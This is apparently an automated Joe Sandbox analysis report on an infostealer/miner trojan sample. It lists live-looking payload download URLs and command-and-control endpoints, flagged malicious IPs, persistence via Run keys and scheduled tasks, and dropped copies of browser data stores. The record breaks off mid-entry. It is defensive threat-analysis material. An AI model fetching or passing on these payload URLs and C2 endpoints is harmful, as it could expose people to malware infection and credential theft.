http://nsis.sf.net/NSIS_ErrorError	yKAghydJJ_QMtGbXeHXJyp3j.exe, 00000012.00000002.1537461312.0000000000408000.00000002.00000001.01000000.0000000D.sdmp, yKAghydJJ_QMtGbXeHXJyp3j.exe, 00000012.00000000.1494806366.0000000000408000.00000002.00000001.01000000.0000000D.sdmp	false
https://bitbucket.org:80/solgoodman/zixenberg/downloads/onePackage.exep	RegAsm.exe, 00000007.00000002.1552191367.000000000433D000.00000004.00000020.00020000.00000000.sdmp	false
https://innovaxingenieros.com:80/	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true
http://103.130.147.211/Files/1.exeu	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueshttp://schemas.xmlsoap.org/ws/2005/05/identity/NoP	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://aka.ms/msal-net-3-breaking-changesy	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://innovaxingenieros.com/smdsg.exe2	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	true
http://147.45.44.104/prog/66e705d09b33c_jack.exee	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDllm_object	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp	false
https://ipinfo.io/	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://45.91.200.135:80/api/wp-admin.php	RegAsm.exe, 00000007.00000002.1542688126.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1552191367.0000000004376000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://103.130.147.211/Files/1.exeI	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
http://45.91.200.135/aliv	RegAsm.exe, 00000007.00000002.1552191367.0000000004365000.00000004.00000020.00020000.00000000.sdmp	false
http://45.91.200.135:80/api/wp-ping.php	RegAsm.exe, 00000007.00000002.1542688126.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	false
https://www.newtonsoft.com/jsonschema	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
https://bitbucket.org/solgoodman/zixenberg/downloads/onePackage.exeC:	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false
http://go.microsoft.c	oLvXEE2e9pIf4hDzNZ63ennK.exe, 00000010.00000002.1564921383.00000000012B1000.00000004.00000020.00020000.00000000.sdmp	false
https://iplogger.org/E	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
https://innovaxingenieros.com/smdsg.exeC:	RegAsm.exe, 00000007.00000002.1542688126.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true
http://147.45.44.104/prog/66e705d09b33c_jack.exes	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
https://innovaxingenieros.com/smdsg.exe?	RegAsm.exe, 00000007.00000002.1552191367.0000000004308000.00000004.00000020.00020000.00000000.sdmp	true
https://login.microsoftonline.com=https://login.chinacloudapi.cnAhttps://login.microsoftonline.deAht	jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp	false
http://147.45.44.104/prog/66e705d09b33c_jack.exeq	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io/https://ipgeolocation.io/::	file.exe, 00000005.00000002.1283777656.0000000004EB4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000002.1283777656.0000000004F1B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false
https://steamcommunity.com/profiles/76561199768374681i11ihellosqlp.dllMozilla/5.0	dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1744772345.0000000003D3B000.00000004.00000800.00020000.00000000.sdmp	false
http://45.91.200.135/api/wp-ping.php	RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.1542688126.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp	false
https://ipinfo.io:443/widget/demo/8.46.123.33	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	false
http://240902180529931.tyr.zont16.com/f/fikbam0902931.exeF	RegAsm.exe, 00000007.00000002.1542688126.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	true
https://api64.ipify.org/	RegAsm.exe, 00000007.00000002.1542688126.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0	EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2245373861.0000027C77A70000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
54.231.138.137	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false
176.113.115.33	unknown	Russian Federation	49505	SELECTELRU	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
103.130.147.211	unknown	Turkey	63859	MYREPUBLIC-AS-IDPTEkaMasRepublikID	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.26.3.46	iplogger.org	United States	13335	CLOUDFLARENETUS	false
185.196.8.214	ddudzob.info	Switzerland	34888	SIMPLECARRER2IT	true
45.91.200.135	unknown	Netherlands	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
193.233.255.84	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
167.114.163.236	innovaxingenieros.com	Canada	16276	OVHFR	false
173.231.16.77	api64.ipify.org	United States	18450	WEBNXUS	false
185.166.143.50	bitbucket.org	Germany	16509	AMAZON-02US	false
91.107.146.245	unknown	Germany	24940	HETZNER-ASDE	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1513121
Start date and time:	2024-09-18 14:29:01 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.mine.winEXE@96/128@13/16
EGA Information:	Successful, ratio: 92.9%
HCA Information:	Successful, ratio: 84% Number of executed functions: 187 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 51.145.123.29, 184.28.90.27
Excluded domains from analysis (whitelisted): tryyudjasudqo.shop, keennylrwmqlw.shop, fs.microsoft.com, slscr.update.microsoft.com, twc.trafficmanager.net, ctldl.windowsupdate.com, reggwardssdqw.shop, pool.hashvault.pro, sentistivowmi.shop, tesecuuweqo.shop, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, tendencctywop.shop, fe3cr.delivery.mp.microsoft.com, licenseodqwmqn.shop, steamcommunity.com, login.live.com, e16604.g.akamaiedge.net, umwatson.events.data.microsoft.com, tenntysjuxmz.shop, prod.fs.microsoft.com.akadns.net, eemmbryequo.shop, relaxatinownio.shop
Execution Graph export aborted for target Mp4Oumo4WN7EZ3kT28qf8R4b.exe, PID 6828 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:29:58	API Interceptor	1x Sleep call for process: file.exe modified
09:47:03	API Interceptor	31x Sleep call for process: RegAsm.exe modified
09:47:05	API Interceptor	1x Sleep call for process: jAdtQht6EyohpXB8jxj0sYtp.exe modified
09:47:07	API Interceptor	1x Sleep call for process: yKAghydJJ_QMtGbXeHXJyp3j.exe modified
09:47:12	API Interceptor	2x Sleep call for process: svchost.exe modified
09:47:24	API Interceptor	1x Sleep call for process: 1kJcLONuhYBrg8epyyTMPvIE.exe modified
09:47:48	API Interceptor	110x Sleep call for process: jekkyvideoeditor32.exe modified
15:47:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
15:47:15	Task Scheduler	Run new task: jewkkwnf HR path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
15:47:16	Task Scheduler	Run new task: jewkkwnf LG path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
15:47:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
15:48:05	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk
15:48:52	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TaskRise.url
15:48:53	Task Scheduler	Run new task: Wn path: wscript s>//B "C:\Users\user\AppData\Local\TeamDynamics Innovations\TaskRise.js"

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFHDBGHJKFID\JKJDAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGHIIJDGHCBFIECBKEGH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\AFHJJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\CBAKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\DAEBKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\DHDHCG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\DHDHCG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\DHIDHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAFIJKFHIJKK\DHIEHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\EBKKKE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\EHDGIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\GCBKFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\GCBKFI-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFIJKFHIJKK\KJEHDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
